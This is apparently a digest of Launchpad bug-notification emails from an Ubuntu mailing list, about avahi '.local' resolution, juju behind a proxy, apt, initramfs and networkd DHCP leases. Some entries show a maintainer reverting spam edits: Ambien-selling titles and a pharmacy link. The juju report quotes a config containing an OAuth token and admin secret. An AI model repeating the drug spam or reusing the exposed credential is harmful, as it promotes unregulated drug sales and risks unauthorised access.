domain names on Feisty. (computer1, computer2 and computer 3 are all Kubuntu 
machines. DNS Server is a Windows 2003 Server (that will be changed a kubuntu 
server very soon though!)
  
  It can resolve the host name only though, and will return the fully
  qualified domain name in the response.
  
  cheers
  
  Rod.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to avahi in Ubuntu.
https://bugs.launchpad.net/bugs/80900

Title:
  Avahi daemon prevents resolution of FQDNs ending in ".local" due to
  false negatives in the detection of ".local" networks

Status in avahi package in Ubuntu:
  Triaged
Status in nss-mdns package in Ubuntu:
  Confirmed
Status in avahi package in Debian:
  New

Bug description:
  Install Kubuntu Feisty
  Set the ip address to dhcp for eth0 (ethernet port)
  make sure the host name and domain name are set
  Hostname computer1
  DomainName mydomain.local
  allow DHCP to assign the IP address

  Ensure the computer details are registered in DNS for
  mydomain.local...

  computer names registered in DNS (FQDN)
  computer1.mydomain.local
  computer2.mydomain.local
  computer3.mydomain.local

  computer2 and computer3 are both running Kubuntu Dapper and are both
  using DHCP.

  if I issue the following comands on computer2 or computer3, it works
  correctly:

  ping computer2  (response received - ping good)
  ping computer3  (response received - ping good)
  ping computer2.mydomain.local   (response received - ping good)
  ping computer3.mydomain.local   (response received - ping good)

  if i issue the same commands from the feisty box (computer1), these
  are the results..

  ping computer2   (response received - ping good)
  ping computer3   (response received - ping good)
  ping computer2.mydomain.local   (unknown host)
  ping computer3.mydomain.local  (unknown host)
  for some reason if you try to ping the fully qualified domain name on feisty, 
it cant resolve it, yet it can resolve it using both static IP Addressing and 
DHCP addressing on Dapper. (i set the IP to static as well for the test) Static 
and DHCP on Dapper works fine. Static and DHCP wont resolve fully qualified 
domain names on Feisty. (computer1, computer2 and computer 3 are all Kubuntu 
machines. DNS Server is a Windows 2003 Server (that will be changed a kubuntu 
server very soon though!)

  It can resolve the host name only though, and will return the fully
  qualified domain name in the response.

  cheers

  Rod.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/avahi/+bug/80900/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 327362] Re: Some ISPs have .local domain which disables avahi-daemon

[Colin Watson]

** Summary changed:

- Order Ambien Online to Manage Irregular Sleep-Wake Rhythm Disorder
+ Some ISPs have .local domain which disables avahi-daemon

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to avahi in Ubuntu.
https://bugs.launchpad.net/bugs/327362

Title:
  Some ISPs have .local domain which disables avahi-daemon

Status in Release Notes for Ubuntu:
  Fix Released
Status in avahi package in Ubuntu:
  Confirmed
Status in avahi source package in Karmic:
  Won't Fix

Bug description:
  Binary package hint: avahi-daemon

  After a fresh install of Jaunty Alpha 3 avahi did not work and as a
  result of that - not Bonjour in Pidgin, and some network discovery
  stuff.

  I have been looking for a solution, but still - after the fresh
  install, when I used Intrepid, it worked fine.

  During boot I see some error with avahi-daemon (do quick to actually read), 
and I think that it is the same thing as I get when trying to startup 
avahi-damon:
  daniel@daniel-laptop:~$ sudo /etc/init.d/avahi-daemon start
   * Starting Avahi mDNS/DNS-SD Daemon avahi-daemon 
   
   * avahi-daemon disabled because there is a unicast .local domain

  And after login there is a notify regarding the same matter.

  This same things is confirmed on my finances netbook. 
  We used the Alternative Jaunty CD for install (due to that the install 
crashed when the installing user already existed in /home, on the desktop CD)

  Awesome work - keep it up! ;)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-release-notes/+bug/327362/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1089389] Re: juju bootstrap fail behind a proxy when a gpg key must be imported

[Colin Watson]

** Summary changed:

- Buy Ambien Online for Handling Short-Term Treatment of Insomnia
+ juju bootstrap fail behind a proxy when a gpg key must be imported

** Description changed:

  This is related to a Maas environment hosted behind a proxy.
- 
- https://usapillspharma.com
  
  I'm trying to use
  juju 0.6.0.1+bzr603-0juju1~precise1
  
  ubuntu@maas:~$ cat .juju/environments.yaml
  environments:
    mymaas:
  type: maas
  maas-server: 'http://192.168.124.2:80/MAAS'
  maas-oauth: 
'UP5Qay8Nsku8K98fqn:LjhnStY2HjfCeKfvmg:BxA586DWVNPKrT9ASNj9QasMvSPdgavt'
  admin-secret: 'nothing'
  default-series: precise
  juju-origin: ppa
  
  When juju boostrap, things do not behave as expected on the zookeeper
  node.
  
  Excerpt from the cloud-init-output.log:
  
  W: GPG error: http://ppa.launchpad.net precise Release: The following
  signatures couldn't be verified because the public key is not available:
  NO_PUBKEY 376A290EC8068B11
  
  On the zookeeper node, if i try to apt-add-repository , the needed gpg
  key is not injected, but the scrpit does not return any error code:
  
  ubuntu@zookeeper:/var/log$ sudo mv 
/etc/apt/sources.list.d/juju-pkgs-precise.list /tmp/
  ubuntu@zookeeper:/var/log$ sudo ls /etc/apt/sources.list.d/
  ubuntu@zookeeper:/var/log$ sudo apt-add-repository ppa:juju/pkgs --yes
  gpg: keyring `/tmp/tmpmlP7VA/secring.gpg' created
  gpg: keyring `/tmp/tmpmlP7VA/pubring.gpg' created
  gpg: requesting key C8068B11 from hkp server keyserver.ubuntu.com
  gpgkeys: key A2EB2DEC0BD7519B7B38BE38376A290EC8068B11 not found on keyserver
  gpg: no valid OpenPGP data found.
  gpg: Total number processed: 0
  recv failed
  ubuntu@zookeeper:/var/log$ echo $?
  0
  
  Trying to inject key while setting the http_proxy environment variable works 
better:
  ubuntu@zookeeper:/var/log$ sudo http_proxy=http://91.189.90.174:3128/ 
apt-add-repository ppa:juju/pkgs --yes
  gpg: keyring `/tmp/tmp1pAd6X/secring.gpg' created
  gpg: keyring `/tmp/tmp1pAd6X/pubring.gpg' created
  gpg: requesting key C8068B11 from hkp server keyserver.ubuntu.com
  gpg: /tmp/tmp1pAd6X/trustdb.gpg: trustdb created
  gpg: key C8068B11: public key "Launchpad Ensemble PPA" imported
  gpg: Total number processed: 1
  gpg: imported: 1 (RSA: 1)
  OK
  ubuntu@zookeeper:/var/log$ echo $?
  0
  
  On the zookeeper node, python-software-properties is version 0.82.7.3
  
  ProblemType: Bug
  DistroRelease: Ubuntu 12.04
  Package: python-software-properties 0.82.7.3
  ProcVersionSignature: Ubuntu 3.2.0-34.53-generic 3.2.33
  Uname: Linux 3.2.0-34-generic x86_64
  ApportVersion: 2.0.1-0ubuntu15
  Architecture: amd64
  Date: Wed Dec 12 14:40:21 2012
  EcryptfsInUse: Yes
  InstallationMedia: Ubuntu 11.10 "Oneiric Ocelot" - Release amd64 (20111012)
  MarkForUpload: True
  PackageArchitecture: all
  SourcePackage: software-properties
  UpgradeStatus: Upgraded to precise on 2012-05-14 (212 days ago)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1089389

Title:
  juju bootstrap fail behind a proxy when a gpg key must be imported

Status in software-properties package in Ubuntu:
  Triaged

Bug description:
  This is related to a Maas environment hosted behind a proxy.

  I'm trying to use
  juju 0.6.0.1+bzr603-0juju1~precise1

  ubuntu@maas:~$ cat .juju/environments.yaml
  environments:
    mymaas:
  type: maas
  maas-server: 'http://192.168.124.2:80/MAAS'
  maas-oauth: 
'UP5Qay8Nsku8K98fqn:LjhnStY2HjfCeKfvmg:BxA586DWVNPKrT9ASNj9QasMvSPdgavt'
  admin-secret: 'nothing'
  default-series: precise
  juju-origin: ppa

  When juju boostrap, things do not behave as expected on the zookeeper
  node.

  Excerpt from the cloud-init-output.log:

  W: GPG error: http://ppa.launchpad.net precise Release: The following
  signatures couldn't be verified because the public key is not
  available: NO_PUBKEY 376A290EC8068B11

  On the zookeeper node, if i try to apt-add-repository , the needed gpg
  key is not injected, but the scrpit does not return any error code:

  ubuntu@zookeeper:/var/log$ sudo mv 
/etc/apt/sources.list.d/juju-pkgs-precise.list /tmp/
  ubuntu@zookeeper:/var/log$ sudo ls /etc/apt/sources.list.d/
  ubuntu@zookeeper:/var/log$ sudo apt-add-repository ppa:juju/pkgs --yes
  gpg: keyring `/tmp/tmpmlP7VA/secring.gpg' created
  gpg: keyring `/tmp/tmpmlP7VA/pubring.gpg' created
  gpg: requesting key C8068B11 from hkp server keyserver.ubuntu.com
  gpgkeys: key A2EB2DEC0BD7519B7B38BE38376A290EC8068B11 not found on keyserver
  gpg: no valid OpenPGP data found.
  gpg: Total number processed: 0
  recv failed
  ubuntu@zookeeper:/var/log$ echo $?
  0

  Trying to inject key while setting the http_proxy environment variable works 
better:
  ubuntu@zookeeper:/var/log$ sudo http_proxy=http://91.189.90.174:3128/ 
apt-add-repository ppa:juju/pkgs --yes
  gpg: keyring `/tmp/tmp1pAd6X/secring.gpg' 

[Touch-packages] [Bug 1815188] Re: Fix crash when opening DepCache before Cache

[Colin Watson]

*** This bug is a duplicate of bug 1815187 ***
https://bugs.launchpad.net/bugs/1815187

** This bug has been marked a duplicate of bug 1815187
   Fix crash when opening DepCache before Cache

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1815188

Title:
  Fix crash when opening DepCache before Cache

Status in apt package in Ubuntu:
  New

Bug description:
  [Impact]
  apt search and probably other code crashes some time, as GetDepCache() in 
trusty does not call BuildCaches() first.

  [Test case]
  TODO, some apt search -o RootDir= foobar

  [Regression potential]
  There may be some locking implications, as we build caches when opening 
depcache first, without locks. That said, the same code is in use in all 
post-trusty releases, and they work fine.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1815188/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1814384] Re: update-initramfs: failed for with 1.

[Colin Watson]

** Project changed: launchpad => initramfs-tools (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1814384

Title:
  update-initramfs: failed for  with 1.

Status in initramfs-tools package in Ubuntu:
  New

Bug description:
  lsb_release -a
  LSB Version:
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID: Ubuntu
  Description:Ubuntu 18.04.1 LTS
  Release:18.04
  Codename:   bionic


  Within installation linux kernel 4.15.0.45 error occurred:
  !!! x86_64-linux-gnu_EGL.conf is not an issue here !!!

  Setting up linux-image-4.15.0-45-generic (4.15.0-45.48) ...
  Setting up linux-headers-4.15.0-45 (4.15.0-45.48) ...
  Setting up linux-headers-4.15.0-45-generic (4.15.0-45.48) ...
  Processing triggers for linux-image-4.15.0-45-generic (4.15.0-45.48) ...
  /etc/kernel/postinst.d/initramfs-tools:
  update-initramfs: Generating /boot/initrd.img-4.15.0-45-generic
  /sbin/ldconfig.real: Warning: ignoring configuration file that cannot be 
opened: /etc/ld.so.conf.d/x86_64-linux-gnu_EGL.conf: No such file or directory
  /etc/kernel/postinst.d/kdump-tools:
  kdump-tools: Generating /var/lib/kdump/initrd.img-4.15.0-45-generic
  mkinitramfs: for device none missing /sys/dev/block/0:0
  mkinitramfs: workaround is MODULES=most
  mkinitramfs: Error please report the bug
  update-initramfs: failed for  with 1.
  run-parts: /etc/kernel/postinst.d/kdump-tools exited with return code 1
  dpkg: error processing package linux-image-4.15.0-45-generic (--configure):
   installed linux-image-4.15.0-45-generic package post-installation script 
subprocess returned error exit status 1
  Errors were encountered while processing:
   linux-image-4.15.0-45-generic
  E: Sub-process /usr/bin/dpkg returned an error code (1)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1814384/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1721223] Re: Networkd fail to set ip address between leases if ip address changes on UbuntuCore

[Colin Watson]

** Attachment removed: "printer.png"
   
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1721223/+attachment/5223123/+files/printer.png

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1721223

Title:
  Networkd fail to set ip address between leases if ip address changes
  on UbuntuCore

Status in Snappy:
  Fix Committed
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Released
Status in systemd source package in Zesty:
  Won't Fix
Status in systemd source package in Artful:
  Fix Released

Bug description:
  [Impact]

   * networkd fails to renew a lease, specifically it fails to change IPv4 
address via DHCP renew/rebind.
   * networkd relies on a kernel feature to promote secondary IPv4 address to 
primary, upon primary address lease expiry.
   * this sysctl tunable was not enabled by default in systemd.

  [Test Case]

  Add a device, and assign two IPv4 addresses. First one, with a short
  lease time. Second one, with a different ip and a longer lease time.
  Second one should be treated as secondary ip address, and upon expiry
  of the first one, should be promoted and become primary ip address.
  The below scripted instructions simulate this:

  sudo ip link add name testleases type dummy

  sudo ip address add 192.0.2.10/27 dev testleases \
    valid_lft 5 preferred_lft 5

  sudo ip address add 192.0.2.11/27 dev testleases \
    valid_lft 11 preferred_lft 11

  ip address list dev testleases | \
  grep -q 'inet 192.0.2.10/27 scope global dynamic testleases' \
  && echo ok || echo not ok

  ip address list dev testleases | \
  grep -q 'inet 192.0.2.11/27 scope global secondary dynamic testleases' \
  && echo ok || echo not ok

  sleep 6

  ip address list dev testleases | \
  grep -q 'inet 192.0.2.11/27 scope global dynamic testleases' \
  && echo ok || echo not ok

  sudo ip link del dev testleases

  [Regression Potential]

   * This changes the default kernel behaviour, previously upon expiry
  of the primary address, secondary addresses were removed as well.
  Which is imho silly.

  * comparing networkd renewal with isc-dhcp renewal the semantics are
  quite different. Upon acquiring new ip address, isc-dhcp would
  instantly flush existing ip address, and add a new one. Networkd add
  the new address as secondary, and waits for old one to expire first
  before promoting / switching to using the new ip address. IMHO kernel
  should have an API to promote secondary ip address to a primary one.

  * This update also applies other safe-looking options, which are
  currently also already applied via sysctls shipped in other packages

  # Source route verification
  net.ipv4.conf.default.rp_filter = 1
  net.ipv4.conf.all.rp_filter = 1

  # Do not accept source routing
  net.ipv4.conf.default.accept_source_route = 0
  net.ipv4.conf.all.accept_source_route = 0

  # Enable hard and soft link protection
  fs.protected_hardlinks = 1
  fs.protected_symlinks = 1

  * This update also applies the following upstream/bufferbloat.net
  recommended setting

  # Fair Queue CoDel packet scheduler to fight bufferbloat
  net.core.default_qdisc = fq_codel

  * [~racb] There are complex network setups out there, such as HA with
  corosync/pacemaker, OpenStack Neutron, and that kind of thing. If this
  fix were SRU'd, will all of these things in the wild cope with this
  sysctl change?

  [Other Info]

   * Original bug report

  Hi there,
  we found a replicable issue that involves the Ubuntu Core networking and 
causes complete loss of connectivity.
  We run a custom board with ubuntu core: the architecure is amrhf.
  We replicated this issue with an official Ubuntu Core image on a Raspberry 
Pi: other platform was been tested.
  It shows that it is a snap core problem which interests networkd: we use the 
default network stack based on networkd + netplan.

  Below steps to replicate the issue.

  1)Setup a dhcp server for lease of about some minutes (i.e 10 minutes).
  2)Boot the board and wait for get an ip from dhcp server
  3)Before the lease expires, set a reservation for a different ip address

  Depending on lease duration before the lease expires( for 10 minute we have 2 
minutes before ), networkd configure the new address in addition to the 
previous one.
  When the lease expire both ip address ( the prevoius and the new one ) 
disappear from the interested network interface.
  Depending on lease duration before the second lease expires ( for 10 minure 
we have 2 minutes before ) networkd configure only the new ip address on the 
network interface and the ping toward an outside host work properly.

  During the test the dhcp server records correctly leases and their
  duration.

  We check directly from console the network interface setting with the
  tool ip, checking continuously the value for ip address and